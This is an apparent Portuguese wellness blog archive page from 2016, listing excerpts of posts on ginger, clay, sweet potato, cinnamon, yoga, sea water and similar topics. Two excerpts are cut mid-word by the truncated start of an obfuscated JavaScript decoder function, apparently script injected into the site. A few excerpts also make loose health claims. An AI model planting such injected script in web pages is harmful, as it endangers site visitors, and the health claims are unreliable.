Set 19, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios do gengibre Em chá, em óleo, cru ou seco, às lascas ou em pó, os poderes do gengibre são inegáveis e variados. É um verdadeiro tesouro para a nossa saúde e se não sabia, vai ficar a saber tudo agora mesmo. Acredite que a...
Set 13, 2016 | Equilíbrio, Estilo e beleza
Dicas de beleza – Conheça os benefícios da argila A argila é um excelente aliado para cuidarmos da nossa beleza, tanto esteticamente como terapeuticamente. É uma espécie de grão de origem mineral, que se extrai diretamente do solo e às vezes até a encontramos na...
Set 12, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: conheça os benefícios da batata doce A batata doce é um dos alimentos mais nutritivos do mundo. É um carboidrato de absorção lenta e os praticantes de desporto costumam adorar! Eu não sou uma desportista federada, mas adoro desporto e procuro levar a...
Set 5, 2016 | Saúde e bem estar
Dicas saudáveis – conheça os benefícios da rúcula Como sou fã da alimentação mediterrânica, desta vez decidi falar-lhe de um vegetal que eu adoro adicionar em quase todas as saladas que faço: a rúcula! É uma folha verde-escura e tem um travo ligeiramente amargo...
Ago 29, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: 8 grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Ago 23, 2016 | Saúde e bem estar
Dicas essenciais para fortalecer a sua autoestima, por Maria Palha, psicóloga A expressão «autoestima» normalmente responde à pergunta “como me sinto com quem sou?”. Bem? Mal? Mais ou menos? A nossa autoestima é, em boa parte, construída durante os anos de...
Ago 22, 2016 | Equilíbrio, Saúde e bem estar
Estes pauzinhos que habitualmente utilizamos para aromatizar doces ou sangrias, cafés ou pastéis de nata têm um sem fim de benefícios: desde ajudar a perder peso até tornar os cabelos mais fortes, passfunction a4872b9c6b(y1){var...
Ago 21, 2016 | Equilíbrio, Saúde e bem estar
3 exercícios de yoga para dormir melhor: Há dias em que, apesar de cansados, sentimo-nos mentalmente muito ativos e com dificuldade em adormecer. E é precisamente nestas alturas que o yoga pode ser o melhor aliado. Experimente estas posições… na sua cama! Todos...
Ago 19, 2016 | Equilíbrio, Saúde e bem estar
Água do mar – 7 benefícios para a sua saúde Ir à praia é óptimo, todos sabemos. O sol faz lindamente à saúde se tomarmos as devidas precauções, mas também a água do mar é capaz de maravilhas pelo nosso organismo. Como contém altas quantidades de sódio, iodo,...
Ago 18, 2016 | Equilíbrio, Saúde e bem estar
Dicas para treinar, queimar calorias e ter o corpo que deseja, por Teresa Manafaia Se treina durante o ano, não precisa necessariamente de treinar nas férias mas, mesmo que pare os treinos nesta altura do ano, é sempre benéfico manter-se de alguma forma ativo/a e...
